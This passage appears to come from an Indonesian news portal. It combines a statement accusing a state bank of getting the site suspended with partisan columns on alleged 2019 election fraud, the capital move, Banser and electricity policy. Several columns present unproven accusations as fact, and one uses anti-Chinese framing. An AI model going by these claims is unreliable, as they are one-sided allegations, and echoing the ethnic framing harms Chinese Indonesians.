Sangatlah disayangkan bila pola-pola pembreidelan kepada media massa nasional seperti di era orde baru dulu dihidupkan lagi dari dalam kubur. Kenyataan ini membuat kami benar shock dan kaget, karena 95% wartawan kami mulai menjadi wartawan pemula antara tahun 1989-1995. Ketika itu kami merasakan sekali dampak pembreidalan dan penyensoran berita. Jakarta, FNN - Para pembaca atau netizen fnn.co.id yang sangat kami hormati. Sepanjang Selasa siang (27/8), mulai pukul 13.58 WIB sampai dengan Rabu pagi kemarin pukul 08.30 WIB, para pembaca dan nitizen Portal Berita Online fnn.co.id tidak dapat membuka dan mengakses berita-berita yang ada di halaman FNN. Penyebab adalah, ternyata kami fnn.co.id disuspend. Sekitar 18 jam lebih, Portal Berita kita disuspend oleh pihak yang tidak bertanggung jawab. Akibatny, fnn.co.id tidak bisa tayang sebagaimana yang diharapkan pembaca dan nitizen. Selama 18 jam lebih pembaca dan nitizan tidak bisa melihat berita-berita yang dimuat di fnn.co.id. Padahal hari itu loading pembaca sedang tinggi-tingginya. Sejak Selasa sore sampai Rabu pagi kemarin, tim IT kami terus mencari tahu sebab-musabab fnn.co.id disuspend. Alhamdulillah pada Rabu (28/8) pagi kami bisa menemukan penyebabnya. Sehingga Alhamdulillah, Portal Berita kesayangan pembaca dan nitizen fnn.co.id bisa live kembali. Hanya saja kami harus minta maaf, karena kehilangan tiga artikel yang sangat penting, dengan jumlah pembaca yang sangat banyak. Ketiga artikel yang dimuat oleh fnn.co.id tersebut, ditulis oleh penulis kami saudara Luqman Ibrahim Soemay. Semuanya berkaitan dengan blackout bank BUMN terbesar negeri ini pada tanggal 20 Juli 2019 lalu. Kami sebut saja bank tersebut dengan nama “Bank Nganu” Kami jelaskan bahwa status di Domain Profile, register status fnn.co.id yang dimulai sejak tanggal 11 November 2018, dan expires akan habis masa berlakunya nanti pada 12 November 2019. Artinya, tidak mungkin Portal Berita fnn.co.id terjadi auto suspend hanya karena loading pembaca yang tinggi tersebut. Berdasarkan penulusuran yang dilakukan tim IT fnn.co.id kepada hosting kami di Singapura, tampaknya ada pihak tidak bertanggungjawab yang mengorder suspensi terhadap Portal Berita fnn.co.id. Pihak tersebut adalah manejemen dari Bank Nganu yang sempat menjadi sorotan website kami, karena kekacauan di internal Bank Nganu sendiri. Setelah kami konfirmasi ke hosting di Singapura, nampaknya suspensi fnn.co.id sangat terkait dengan tiga judul yang menyoroti kekacauan IT Bank Nganu, dengan judul 1. Dijebol Ciber Rp 9 Triliun, Bank Nganu Segera Bangkrut?, 2. Direksi Bank Nganu Tidak Perlu Jemawa lah, 3. Bank Nganu Akan Dituntut Nasabah Atas Kehilangan Dana Rp 800 Triliun. Dari sinilah kami memahami bahwa di zaman digital keterbukaan dan hak publik untuk memperoleh yang bebas dan terbuka tanpa penyensoran masih menghadapi tantangan. Masih ada kekuasaan korporasi yang menghendaki penerapan suspend terhadap media massa. Dulu ketika awal-awal menjadi wartawan di tahun 1990, kami mengenalnya dengan sebutan pemberedelan kepada media massa. Pemberedelan ketika itu hanya dilakukan oleh penguasa yang diwakili oleh Menteri Penerangan. Sekarang di era digital ini, rupanya pemberedelan masih juga berlaku kepada media massa. Hanya namanya saja yang diganti dengan “suspend”, sehingga seperti agak keren. Kalau dulu hanya dilakukan oleh penguasa, sekarang malah lebih maju lagi. Pemberedelan sekarang bisa oleh korporasi atau atas permintaan dari korporasi, seperti yang dilakukan Bank Nganu kepada fnn.co.id dua hari lalu itu. Di era digital ini, media massa dan media sosial sudah menjadi menjadi sumber utama informasi publik. Sangatlah disayangkan bila pola-pola pemberedelan kepada media massa nasional seperti di era orde baru dulu dihidupkan lagi dari dalam kubur. Kenyataan ini membuat kami benar shock dan kaget, karena 95% wartawan kami mulai menjadi wartawan pemula antara tahun 1989-1995. Ketika itu kami merasakan sekali dampak pemberedalan dan penyensoran berita. Rupanya pengelola dan manajemen Bank Nganu masih bermental orde baru. Sehingga Bank Nganu tidak mau menggunakan hak jawab yang diatur dalam ketentuan “Kode Etik Jurnalitik” terhadap setiap berita yang dianggap tidak benar atau merugikan citra bank BUMN terbesar tersebut. Padahal Bank Nganu juga bisa melaporkan kami ke Dewan Pers Indonesia. Yang terjadi kemudian adalah Bank Nganu melaporkan Portal Berita fnn.co.id ke polisi Metro Jaya. Tuduhan kepada kami adalah memuat berita hoax. Anehnya, setelah kami menurunkan berita dengan sumber yang jelas, yaitu Michael Olsson, dengan dokumen yang dimuat dengan cara mencicil sedikit-sedikit, Bank Nganu malah meminta kepada hosting di Singapura untuk mensuspend kami. Mungkin saja manajemen Bank Nganu mengira kami tidak memiliki dokumen pendukung dan sumber berita Michael Olsson, sehingga kami dituduh menyebarkan berita dan informasi hoax. Wah, keterlaluan ini Bank Nganu. Kami sampaikan kepada pembaca dan nitizen kami bahwa, kebetulan sebagian besar atau 50% lebih sumberdaya wartawan fnn.co.id adalah alumni wartawan HARIAN EKONOMI NERACA dan Bisnis Indonesia. Dua surat kabar ekonomi terbesar negeri ini di era awal tahun 1990-an. Sehingga sedikit mengertilah tentang seluk-beluk perbankan, keungan, pasar modal serta ekonomi secara umum. Kami selama juga melakukan kritik yang tajam, dan paling keras kepada Presiden Joko Widodo dan jajaran pemerintahnya. Tujuannya hanya satu, demi untuk perbaikan kehidupan berbangsa dan bernegara kita ke depan. Namun kami tidak pernah sampai disuspend oleh pemerintah. Atas sikap pemerintah ini, kami menyatakan sangat mengapresiasi dan menghargai. Kami juga mengucapkan terima kasih kepada pemerintah. "Terima kasih ya Pak Presiden Jokowi" Anehnya, korparasi seperti Bank Nganu malah bersikap sebaliknya media massa nasional. Bank Nganu meperlihatkan sikap lebih berkuasa dari penguasa yang sebenanrya. Kalau bahasa kerennya penguasa dalam penguasa atau negara dalam negara Atas ketidak nyamanan ini, kami manajemen fnn.co.id mengucapkan permohonan maaf yang sebesar-besarnya kepada para pembaca atau netizen setia kami. Insya Allah, kami akan tetap konsisten dan berdiri paling depan menampilkan produk-produk jurnalistik yang kritis, independen dan selalu berpihak kepada kepentingan rakyat sebagai pijakan utama kami. Untuk itu, kami sangat mengharapkan doa dan dukungan dari pembaca dan nitizen kami yang budiman. Belum cukup setahun fnn.co.id hadir kepada pembaca dan nitizen kami. Kami juga sadar sesadar-sadarnya bahwa masih banyak kekurangan kami disana-sini dalam tampilan kami. Untuk itu, kami sangat mengharapkan kritik dan saran sekeras apapun, dan dalam bentuk apapun setiap saat dari pembaca dan nitizen kami untuk perbaikan fnn.co.id ke depan. Terima kasih yang tak terhingga. Salam hormat dari kamiManejemen fnn.co.id PT Forum Adil Mandiri

Harus Diakui Kehebatan Mereka dalam Fabrikasi Isu

Mereka buat fabrikasi isu-isu pengganti. Muncul dengan rapi dari hari ke hari. Sekarang ada soal pemindahan ibu kota. Disusul masalah Papua yang diduga keras adalah ‘permainan’ orang-orang yang memiliki kekuasaan di luar sistem. Oleh Asyari Usman (Wartawan Senior) Jakarta, FNN - Sekarang ini tidak ada lagi yang berbicara soal 600-an petuas KPPS pemilu 2019 yang meninggal dunia. Keluarga yang meninggal diberi santunan 36 juta. Ketua KPU, Arief Budiman, menyerahkan uang itu kepada keluarga korban sambil fotonya diambil. Di foto itu ada plakat bertuliskan “Penyerahan Santunan 36,000,000”. Disiarkan oleh media. Persoalan dianggap selesai. Tak ada lagi cerita tentang pemilu yang paling buruk. Yang paling kacau. Pemeritah bisa melenggang tanpa ada yang mengejar soal kematian itu. Kematian massal yang dianggap misterius tsb. Usul agar dilakukan otopsi terhadap jenazah petugas KPPS itu, ditolak begitu saja. Tidak ada yang memprotes penolakan itu. Tidak ada yang meberitakan meskipun ada protes. Kontroversi soal hasil pilpres yang penuh dengan dugaan kecurangan masif itu, juga bisa hilang. Diganti dengan isu ‘permen koalisi’. Diambil alih oleh heboh diplomasi nasi goreng dan pertemuan Lebak Bulus. Disusul hiruk-pikuk jatah kursi menteri. Yang goblok-goblok kemudian memunculkan isu Poros 3. Lalu ada soal ‘penumpang gelap’. Seolah-olah tidak ada lagi persoalan keabsahan penghitungan suara pilpres. Seakan tidak ada masalah legitimasi jabatan presiden. Semua diminta atau direkayasa supaya ‘move on’. Melupakan perampokan kolosal suara rakyat. Diminta membiarkan konspirasi jahat itu berlalu tanpa prosekusi. Harus diakui kepintaran dan kehebatan mereka mengalihkan perhatian publik. Hebat. Acungan jempol untuk kehebatan penguburan isu pilpres yang sebetulnya merupakan skandal demokrasi terbesar dan terburuk di dunia. Mereka buat fabrikasi isu-isu pengganti. Muncul dengan rapi dari hari ke hari. Sekarang ada soal pemindahan ibu kota. Disusul masalah Papua yang diduga keras adalah ‘permainan’ orang-orang yang memiliki kekuasaan di luar sistem. Akibatnya, publik dihebohkan oleh kedua topik yang trendy ini. Kejahatan demokrasi yang sebetulnya sangat merusak perjalanan bangsa ini, menjadi semakin jauh dari publik. Padahal, kejahatan politik itu baru saja dilakukan beberapa bulan yang lalu. Belum sampai setengah tahun. Luar biasa pintar dan ampuh cara kerja mesin pengalihan isu di negeri ini. Perampokan dahsyat itu lenyap begitu saja. Rakyat dihibur dengan kontroversi pemindahan ibu kota dan ancaman Papua lepas. Seakan-akan seluruh proses pilpres tidak ada masalah. Seakan hasil pilpres 2019 bersih dari najis. Kemudian, kesulitan berat perekonomian juga bisa mereka tutupi. Dampak fatal akibat utang besar, juga dibuat seperti tidak bermasalah. Strategi senyap hegemoni ekonomi RRC, berjalan tanpa gangguan yang berarti. Penyeludupan narkoba skala besar bisa berlangsung di balik kobaran beberapa isu baru itu. Ancaman terhadap KPK yang bakal jatuh ke tangan para bandit, tersisihkan oleh orkestrasi isu-isu tsb. Semua orang membahas ibu kota dan Papua. Dalam dua hari ini, ditambah isu hukuman kebiri kimiawi untuk pelaku kejahatan pedofil di Mojokerto. Semua media memberikan bobot yang berlebihan terhadap isu baru ini. Begitulah cara mereka mengacak-acak perhatian publik. Membuat kejahatan para penguasa dan ancaman kekuatan asing, lepas dari kejaran media. Lepas dari investigasi jurnalistik dan jurnalistik investigatif.*** 29 Agustus 2019

Bolehkah Presiden Mengusulkan Kenaikan Pangkat dan Jabatan Polisi dan Tentara?

Jakarta, FNN - Siang tadi Presiden Jokowi menandatangani Surat Keputusan (skep) Kenaikan Pangkat 37 perwira Polri dan TNI. Menariknya, penandatanganan tersebut dilakukan dihadapan para perwira yang bersangkutan. Setelah itu Jokowi bersilaturahmi dengan mereka, disusul foto-foto bersama di depan istana. Rencananya, upacara kenaikan pangkat ke-37 perwira tersebut akan dilaksanakan pada Jumat (30/08/2019) oleh pimpinan masing-masing instansi. Mereka terdiri dari perwira tinggi yang mendapat penambahan bintang dan perwira menengah (kolonel TNI dan Kombes Polisi) yang akan mendapat bintang satu. Salah satu "rising star" kali ini adalah Irjen Polisi Dharma Pongrekun (Akpol 88), Wakil Kepala Badan Sandi dan Siber Negara, yang mendapat promosi kenaikan pangkat menjadi Komisaris Jenderal Polisi. Satu lagi, seorang anggota Korps Wanita Angkatan Laut (Kowal), Laksamana Pertama TNI drg. Andriani , Sp.Ort., F.I.C.D., sekarang menjabat Staf Ahli Panglima TNI. Ini sepertinya model baru dalam proses promosi kepangkatan perwira tinggi TNI dan Polri. Sebab, biasanya perwira yang mendapat kenaikan pangkat menerima skep tanpa bertemu presiden. Tahun lalu, pernah Presiden Jokowi bersilaturahmi dengan 79 pati TNI-Polri yang baru saja mendapat promosi kepangkatan. Tapi proses kali ini berbeda, Jokowi justru menemui calon penerima skep sebelum kasih tandatangan. Model terakhir ini seharusnya dijadikan tradisi dalam proses kenaikan pangkat perwira tinggi. Sesuai peraturan kepangkatan di lingkungan TNI dan Polri, kenaikan pangkat bagi perwira tinggi serta kenaikan pangkat kolonel atau kombes menjadi perwira tinggi, memang ditetapkan oleh Presiden berdasarkan usulan Panglima TNI dan Kapolri melalui sekretaris militer. Karena administrasinya seperti itu, memang lebih elok Presiden berkenalan lebih dulu dengan perwira yang akan menerima skep. Justru terlihat lucu kalau presiden tidak kenal dan tidak tahu muka orang yang menerima skep. Tentu kita tidak mau dong presiden membeli "kucing dalam karung". Justru dengan pola baru ini presiden bisa kenal langsung dengan perwira yang bersangkutan sebelum dinaikan pangkatnya. Bagi yang menerima promosi, sudah tentu ini silaturahmi begini memotivasi dia lebih bertanggungjawab dalam pengabdianya kepada negara. Bahkan dalam posisinya sebagai Kepala Pemerintahan dan Panglima Tertinggi Angkatan Bersenjata, presiden semestinya berhak menganulir usulan dari Kapolri dan Panglima Tertinggi. Sebaliknya, Presiden juga berhak memerintahkan Kapolri dan Panglima TNI mengusulkan menaikan pangkat seseorang yang dinilai berprestasi. Bagaimana cara menilainya dan apa parameternya, toh presiden punya banyak mata dan telinga. Presiden bisa minta second opinion dari wantimpres, bisa minta pendapat Menhan, dan siapa saja yang dianggap kredibel. Apakah hal seperti itu melanggar ketentuan kenaikan pangkat selama ini? Kalau berdasarkan prosedur yang berlaku selama ini, selintas memang melanggar. Karena menurut aturan internal TNI dan Polri usulan kenaikan pangkat untuk perwira tinggi harus dirapatkan dulu di internal Polri dan TNI, sebelum diteruskan ke ke presiden. Intinya harus dari bawah ke atas. Tapi karena sifatnya hanya "pengusulan", presiden sudah tentu bisa menolak. Sebaliknya Presiden bisa memberi umpan balik ke Kapolri dan Panglima TNI agar mengusulkan nama seseorang perwira yang dianggap perlu dinaikan pangkatnya. Dasar hukumnya memang belum ada, tapi bisa menggunakan penafsiran dari ketentuan yang lebih tinggi (UU Polri dan UU TNI) yang menegaskan kenaikan pangkat pati dan dari pamen ke pati ditetapkan oleh presiden Prosedur seperti ini memang tidak perlu diundangkan karena bakal menimbulkan kontroversi yang tidak perlu. Tapi bisa saja djadikan semacam konvensi (aturan tidak tertulis), bahwa Presiden berhak menganulir dan mengusulkan kenaikan pangkat perwira tinggi berdasarkan kewenangan-kewenangan tertinggi yang melekat padanya. Kalau presiden tidak boleh menganulir atau mengusulkan kenaikan pangkat seseorang, sama artinya kita membiarkan presiden cuma jadi tukang tandan tangan dan stempel dari bawahannya. Lah, Kepala Negara kita siapa sih? (Tony Hasyim)

Pindah Ibukota, Jokowi Mengikuti Jejak Pakubuwono II

Jadi kalau mau dicari-cari faktor kesamaan dan bukti bahwa teori pengulangan sejarah berlaku, kata kuncinya ada dua: SOLO dan CINA! Oleh : Hersubeno Arief Jakarta, FNN - Sejarah selalu berulang. Hanya pelaku, waktu dan seting peristiwanya yang berubah. Termasuk rencana pemindahan ibukota dari Jakarta ke Penajam Paser Utara dan Kutai Kartanegara di Kalimantan Timur. 274 tahun lalu (1745 M) Pakubowono II memindahkan ibukota Kerajaan dari Kartasura ke kota Surakarta. Lebih dikenal sebagai kota Solo. Alasan pemindahan, Keraton Kartasura sudah rusak dan “tidak suci” lagi. Porak poranda karena diduduki para pemberontak Cina. Sebagai buntut pembantaian etnis Cina oleh Kompeni Belanda di Batavia (1740), orang-orang Cina di pesisir Utara Jawa melakukan perlawanan. Sentimen anti Belanda juga menjalar ke Kartasura. Pemberontak Cina menyerbu Keraton Kartasura. Pakubuwono II adalah sekutu Belanda. Entah kebetulan atau tidak, Jokowi juga berasal dari Solo. Alasan Jokowi, “ Jakarta sudah terlalu berat sebagai pusat pemerintahan, pusat bisnis, pusat keuangan, pusat perdagangan, dan pusat jasa.” Selain itu Jokowi juga ingin mendorong pemerataan pembangunan dan pertumbuhan ke luar Jawa. Sehingga tidak lagi Jawa sentris. Coba perhatikan! Faktor Cina ternyata kembali berperan. Karena keterbatasan anggaran pemerintah, kemungkinan besar pengusaha Cina lokal dan pemerintah Cina akan ikut berperan sangat besar dalam pembangunan ibukota baru itu. Jadi kalau mau dicari-cari faktor kesamaan dan bukti bahwa teori pengulangan sejarah berlaku, kata kuncinya ada dua: SOLO dan CINA! (Peran swasta dan asing dominan) Soal urgensi dan ketidaksiapan anggaran inilah yang kini banyak dipersoalkan oleh sejumlah kalangan. Sejumlah ekonom mengingatkan dan mewanti-wanti agar Jokowi mengurungkan niatnya. Termasuk ekonom senior Emil Salim. Seperti dikatakan Jokowi, biaya pembangunan ibukota baru akan menelan biaya sebesar Rp 466 triliun. 19 persen (Rp 88.54 T) diantaranya bersumber dari APBN. Sisanya berasal dari kerjasama pemerintah dengan badan usaha dan investasi swasta (KPBU). Menteri PPN/Bappenas Bambang Soemantri Brodjonegoro mengatakan, untuk menambah pembiayaan pembangunan ibukota pemerintah akan menerapkan skema tukar guling sejumlah aset pemerintah di Jakarta. Aset tersebut tersebar di Jalan Medan Merdeka, Jalan MH Thamrin, Jalan Sudirman, kawasan Jalan Rasuna Said, Kuningan dan Sudirman Central Business District (SCBD). Perlu dicatat di Jalan Medan Merdeka Utara terdapat Istana Presiden, Gedung Mahkamah Agung, Departemen Dalam Negeri, dan Mabes TNI AD. Di Merdeka Selatan terdapat Istana Wapres, Balaikota DKI, dan Gedung Kementerian BUMN. Di Jalan Medan Merdeka Selatan dan Utara, Jalan Thamrin, Jalan Sudirman, kawasan Kuningan dan SCBD tersebar sejumlah bangunan penting departemen dan kantor pemerintahan, termasuk kantor pusat Bank Indonesia. Belum lagi bila kita bicara Gedung MPR/DPR di kawasan Senayan yang lahannya sangat luas. Asset-asset tersebut jelas sangat menggiurkan. Bikin air liur pengembang langsung meleleh. Dipastikan para pengusaha besar dan asing yang berminat, sudah mulai membuat daftar. Melakukan lobi, kasak-kusuk, gedung dan lahan mana saja yang akan mereka caplok. Ada dana sangat besar yang akan beredar. Ada cash back super jumbo yang masuk ke kantong sejumlah oknum pemerintah dan swasta. Ada pengusaha dan oknum pemerintah yang akan kaya mendadak. Tambah tajir melintir karena tukar guling dan pemindahan ibukota. Siapa saja para pengusaha besar yang potensial bakal menguasai asset negara yang ditinggal boyongan ke Kaltim? Sudah bisa diduga. Tak akan jauh-jauh dari mereka yang masuk dalam daftar 1.00 orang terkaya di Indonesia. Majalah Forbes yang bermarkas di AS, merilis daftar orang terkaya Indonesia tahun 2019. Dari 10 orang terkaya, hanya menyelip satu nama pengusaha pribumi. Chairul Tanjung yang berada di peringkat ke-5. Jika daftarnya diperpanjang sampai 20 nama, pemilik jaringan Trans Media dan Trans Mart itu tetap menjadi satu-satunya nama. Bila kita bicara negara asing yang potensial ikut membangun ibukota dan membeli aset pemerintah, maka tak jauh-jauh negara itu adalah Cina. Negara tirai bambu itu sudah menjadi semacam aspirin bagi Indonesia. Semua masalah keuangan negara, jalan keluarnya adalah Cina. Pemerintah Cina sangat getol menggelontorkan dananya ke sejumlah proyek infrastruktur di Indonesia. Mulai dari kereta api cepat, sejumlah pembangkit listrik, dan berbagai proyek lainnya. Kabar terbaru dari Menko Maritim Luhut Panjaitan, sebuah perusahaan asuransi asal Cina bersedia membantu memperbaiki IT BPJS Kesehatan. “Bagi Pak Menko maritim, sepertinya setiap masalah yang dihadapi bangsa solusinya hanya satu yaitu minta 'bantuan' dari China,” sindir mantan Sesmen BUMN Said Didu melalui akun twitternya. Jakarta memang berbeda dengan Kartasura. Nurhadi Rangkuti dalam artikelnya berjudul : Kartasura yang Ditinggalkan (Majalah Arkeologi Indonesia, 12 Juli 2011) menulis : Menyaksikan bekas keraton atau baluwarti Kartasura sungguh menyedihkan. “Di dalam tembok baluwarti, kini dipenuhi dengan perumahan permanen, kebun dan makam. Selain alun-alun, tempat tinggal puteri keraton (keputren) dan petamanan keraton telah menjadi pemukiman padat. Sitihinggil, tempat yang ditinggikan di depan alun-alun, sebagian telah pula menjadi permukiman. Puing-puing bangunan kuna yang tersisa adalah gedung obat (mesiu), bangunan pos jaga Kumpeni. Situs itu kini dipenuhi makam.” Istana Presiden dan aset pemerintah di Jakarta dipastikan tidak akan bernasib seperti itu. Tidak perlu kaget bila Istana Negara —jika benar termasuk daftar aset tukar guling— menjadi menjadi “istana” baru salah satu orang terkaya di Indonesia, atau kantor Perwakilan pemerintahan asing. Gedung yang sekarang bernama Istana Negara, dibangun tahun 1796 pada masa pemerintahan Gubernur Jenderal Pieter Gerardus van Overstraten. Semula merupakan rumah peristirahatan milik pengusaha Belanda bernama J A Van Braam. Teori pengulangan sejarah kembali berlaku. Dari pengusaha kembali pengusaha. Dari milik asing kembali menjadi milik aseng. End

Banser Jangan Mau Dibubarkan, Harus Melawan

Jangan mau dibubarkan begitu saja. Harus ditolak. Kalau ada yang lancang mau membubarkan Banser, minta mereka menunjukkan payung hukum. Pasti mereka tak punya. Oleh Asyari Usman Jakarta, FNN - Sangat mungkin Banser (Barisan Ansor Serbaguna) akan dibubarkan atas permintaan orang Papua. Untuk menghadapi tindakan pembubaran itu, saya menyarankan kepada Banser agar menunjukkan perlawanan keras. Jangan mau dibubarkan begitu saja. Harus ditolak. Kalau ada yang lancang mau membubarkan Banser, minta mereka menunjukkan payung hukum. Pasti mereka tak punya. Yakinlah. Siapa pun yang mau membubarkan Banser tidak mungkin memiliki payung hukum. Jangan khawatir. Saya sudah periksa lembaga yang berwenang membubarkan Banser. Tidak ada payung hukum mereka. Belum mereka beli. Mahal itu. Membeli payung saja mahal. Apalagi membeli hukum. Jadi, “payung hukum” itu bukan sembarang payung. Tidak mungkin ada di tangan orang-orang yang menggertak akan membubarkan Banser. Karena itu, para pembesar Banser tenang saja. Tak usah takut. Kalau ada yang menunjukkan payung hukum, periksa dulu dengan cermat. Merek-nya apa? Asli atau palsu? Tanya dulu di mana mereka beli payung hukum itu. Berapa harganya? Kalau, misalnya, ada lembaga yang bisa menunjukkan payung hukum asli, tetap saja dilawan. Bilang kepada mereka bahwa Banser punya hukum sendiri. Yaitu, Hukum Rimba. Sudah lama dibukukan. Namanya, Kitab Undang-undang Hukum Rimba (KUHR). Sebagai contoh, ketika Banser membubarkan pengajian, itu ‘kan tidak ada aturannya. Kalau mereka tanya apa dasar hukum Banser membubarkan pengajian, jawab saja Hukum Rimba itu. Kalau ada yang mempersoalkan bahwa Indonesia ini menggunakan KUHP, bilang saja bahwa Hukuma Rimba adalah produk asli hukum Indonesia. Kalau KUHP itu warisan zaman kolonial Belanda. Jadi, lebih keren pakai hukum buatan sendiri ketimbang hukum buatan penjajah. Ini kesempatan Banser untuk mengganti KUHP dengan Hukum Rimba. Dengan begini, tidak ada yang berani membubarkan Banser. Kalau mereka bubarkan juga dengan paksa, gunakan saja Pasal 15 Kitab Hukum Rimba tentang konsekuensi pembubaran Banser. Ayat (a) Pasal 15 itu menyebutkan bahwa apabila Banser dibubarkan, maka anggotanya akan menduduki hutan Ujung Kulon untuk menerapkan Hukum Rimba. Mengapa hutan Ujung Kulon? Karena menduduki hutan Papua bisa menyebabkan kepunahan spesies Banser. Tidak sebatas dibubarkan. 28 Agustus 2019

Pembangkit: PLN dan Swasta Siapa Lebih Dominan?

Penguasaan pembangkit yang hanya 51% oleh PLN Grup berpotensi menimbulkan risiko pengendalian ketersediaan pasokan listrik oleh swasta. Kalau pasokan sudah dikendalikan, mereka pasti juga akan mengendalikan harga. Harga listrik bakal swasta kerek tinggi-tinggi. Bukankah laba adalah ‘tuhan’ bagi swasta yang menjadi tujuan utama? Oleh Edy Mulyadi (Wartawan Senior) Jakarta, FNN - Urusan setrum menyetrum ternyata tidak sesederhana yang diperkirakan banyak orang. yang dimaksud ‘orang’ di sini bukan melulu rakyat awam, lho. Ternyata, para pejabat publik, bahkan termasuk orang-orang yang diamanahi dan atau punya otoritas urusan setrum pun, banyak yang tidak paham. Tidak percaya? Coba tengok Rencana Umum Penyediaan Tenaga Listrik (RUPTL) PLN 2016-2025. Berdasarkan ketentuan ini, Pemerintah berambisi membangun pembangkit listrik 35 GW. Dalam pelaksanaannya, PLN dapat alokasi membangun 10.559 MW. Selebihnya yang 25.068 MW dikerjakan oleh Independent Power Producer (IPP) melalui kerjasama penyediaan tenaga listrik. Anda perhatikan komposisinya? Swasta punya porsi dominan, 25.000 MW lebih! Dalam soal penyediaan tenaga listrik, ada Peraturan Presiden RI nomor 4/2016 sebagaimana telah diubah dengan Peraturan Presiden RI nomor 14 Tahun 2017 tentang Percepatan Pembangunan Infrastruktur Ketenagalistrikan (PIK). Di Perpres ini jelas-jelas Pemerintah menugaskan PLN membangun pembangkit tenaga listrik sebanyak 35 GW, gardu induk sebanyak 103 GVA, dan jaringan transmisi sebanyak 46.000 kms. Tidak ada pembagian komposisi rigit antara PLN dan swasta. Dalam pelaksanaannya, PLN bisa melakukannya dengan cara swakelola atau kerjasama penyediaan tenaga listrik dengan anak perusahaan PLN. Cara lain, bisa juga menggandeng Pengembang Pembangkit Listrik (PPL). Memangkas PLN Bisa dikatakan RUPTL ini merupakan ‘turunan’ dari Perpres 14/2017. Tapi, dengan lahirnya RUPTL porsi PLN dalam pembangunan pembangkit dipangkas menjadi hanya 10.000an MW. Asal tahu saja, komposisi kepemilikan pembangkit tenaga listrik yang produksinya dijual melalui PLN Grup sebelum PIK adalah 36.973 MW (79%) dimiliki oleh PLN Grup dan 10.121 MW (21%) dimiliki oleh swasta. Ulangi, 79% PLN dan 21% swasta! Pentingkah soal komposisi pembangunan pembangkit antara PLN dan swasta? Tentu. Sangat penting. Bayangkan, jika 25.068 MW pembangkit dibangun oleh IPP, maka persentase kepemilikan pembangkit PLN Grup usai berakhirnya program PIK bakal melorot jadi 57%. Sampai di sini paham? Belum juga? Ok, begini konsekwensinya. Penguasaan pembangkit yang hanya 51% oleh PLN Grup berpotensi menimbulkan risiko pengendalian ketersediaan pasokan listrik oleh swasta. Kalau pasokan sudah dikendalikan, mereka pasti juga akan mengendalikan harga. Harga listrik bakal swasta kerek tinggi-tinggi. Bukankah laba adalah ‘tuhan’ bagi swasta yang menjadi tujuan utama? Mungkin dengan naif anda akan berkata, Pemerintah bisa menegur bahkan menjatuhkan sanksi kepada swasta yang menaikkan harga listrik seenak udelnya. Hohoho... kita sudah lama tidak punya Pemerintah yang bisa berbuat begitu. Coba tengok, apa yang Pemerintah lakukan saat harga beras mahal? Rakyat baiknya diet. Harga daging mahal? Rakyat ganti makan bekicot. Harga cabai mahal? Sebaiknya rakyat tanam cabai sendiri. Dan seterusnya, dan seterusnya... Oya, satu lagi yang sangat perlu anda ketahui. Bisnis setrum teramat menggiurkan. Itulah sebabnya banyak pejabat yang berada di balik layar perusahaan swasta sebagai pemillik. Kalau pun mereka tidak punya selembar pun saham, dengan kekuasaan dan otoritas di tangan, pundi-pundi mereka bakal penuh dialiri uang sogok para swasta yang membeli kebijakan para pejabat culas tadi. Anda bisa bayangkan, apa jadinya kalau swasta mengendalikan pasokan dan harga listrik? Ujung-ujungnya bisa mengganggu ketahanan dan kedaulatan listrik nasional. Sudah terbayang kengerian yang bakal terjadi? Listrik berada di bawah kendali para mafia. Kembali ke soal RUPTL tadi, ternyata memang tidak semua pejabat publik, bahkan yang punya otoritas di kelistrikan, memahami dengan baik seluk-beluk persetruman. Yang dimaksud pejabat publik di sini bukan cuma di Kementerian ESDM, tapi juga mereka yang duduk sebagai anggota DPR di Senayan sana. Dan, yang lebih seram lagi, para pejabat publik tadi bukan cuma level dirjen apalagi cuma direktur. Mereka justru ada yang menteri bahkan Menko. Ngeri, kan? Bisnis Ratusan Triliun Bisa jadi, mereka memang tidak paham. Tapi, maaf, bukan tidak mungkin justru karena mereka sangat paham sampai ke tataran ini, maka aturan sengaja dibuat untuk memuluskan lahirnya dominasi swasta dalam pengadaan listrik dan pengendalian harganya. Ingat, bisnis setrum dan yang terkait (batubara, BBM, pelumas, dan lainnya) adalah bisnis skala superjumbo. Per kontrak nilainya bukan cuma semiliar-dua miliar perak. Tapi ratusan miliar hingga triliunan bahkan ratusan triliun rupiah. Siapa yang tidak ngiler? Mau contoh? Pada 2018 saja, pembelian listrik dari swasta oleh PLN tercatat Rp84,3 triliun. Ini belum seberapa. Pada periode yang sama, belanja bahan bakar dan pelumas pabrik setrum pelat merah ini mencapai Rp137,3 triliun. Siapa bilang bisnis setrum tidak legit bin gurih? Mungkin kita yang waras meragukan teori ini. Mosok ada pejabat publik yang gaji dan seabrek fasilitasnya dibayari rakyat tapi kebijakannya justru menyengsarakan rakyat. Harusnya memang hal seperti ini tidak (boleh) terjadi. Tapi, iming-iming komisi yang menggiurkan dari para pemilik pembangkit swasta terlalu sulit untuk ditampik. Soal komisi ini berlaku bagi para pejabat yang tidak punya pembangkit. Sebaliknya, bukan rahasia banyak juga yang menjadi penguasaha alias penguasa sekaligus pengusaha. Menko Ekuin era Presiden Abdurrahman Wahid, Rizal Ramli, menyebut makhluk jenis ini dengan Pengpeng. “Menjadi penguasa itu mulia. Jadi pengusaha juga mulia. Tapi kalau menjadi Pengpeng sekaligus, ini akan menimbulkan keserakahan dan ketidakadilan. Dengan kekuasaan di genggaman, para Pengpeng merebut bisnis dari pengusaha murni yang tidak punya akses ke lingkar kekuasaan. Para Pengpeng mengendalikan harga untuk meraih keuntungan sangat tidak wajar. Akibatnya, terjadi distorsi ekonomi yang ujung-ujungnya merugikan negara dan memberatkan rakyat,” papar Rizal Ramli dalam banyak kesempatan. Dominasi Negara, Penting! Sampai di sini semestinya menjadi keharusan jika negara harus punya kendali penuh atas pasokan dan harga listrik. Itulah sebabnya komposisi kepemilikan pembangkit oleh PLN seharusnya jauh lebih dominan dibandingkan swasta. Kendati sama-sama entitas usaha, watak keduanya tentu berbeda. Swasta menjadikan laba sebagai tujuan utama. Untuk itu segala cara bisa dan akan mereka lakukan untuk mewujudkannya. Sedangkan PLN, walau harus menghasilkan laba, sebagai BUMN ia juga punya kewajiban melayani rakyat dan negara. Kepada rakyat PLN wajib menyediakan listrik yang andal, berkesinambunga, dan terjangkau harganya. Buat negara selaku pemegang saham, PLN musti menyetor sebagian labanya sebagai dividen. Tentu saja, semua pasal ini sama sekali tidak berlaku bagi swasta. Jadi, sekali lagi perkara komposisi kepemilikan pembangkit menjadi amat sangat penting. Sebagai rakyat, kita memang mustahil bisa tahu dengan detil. Meski begitu kita 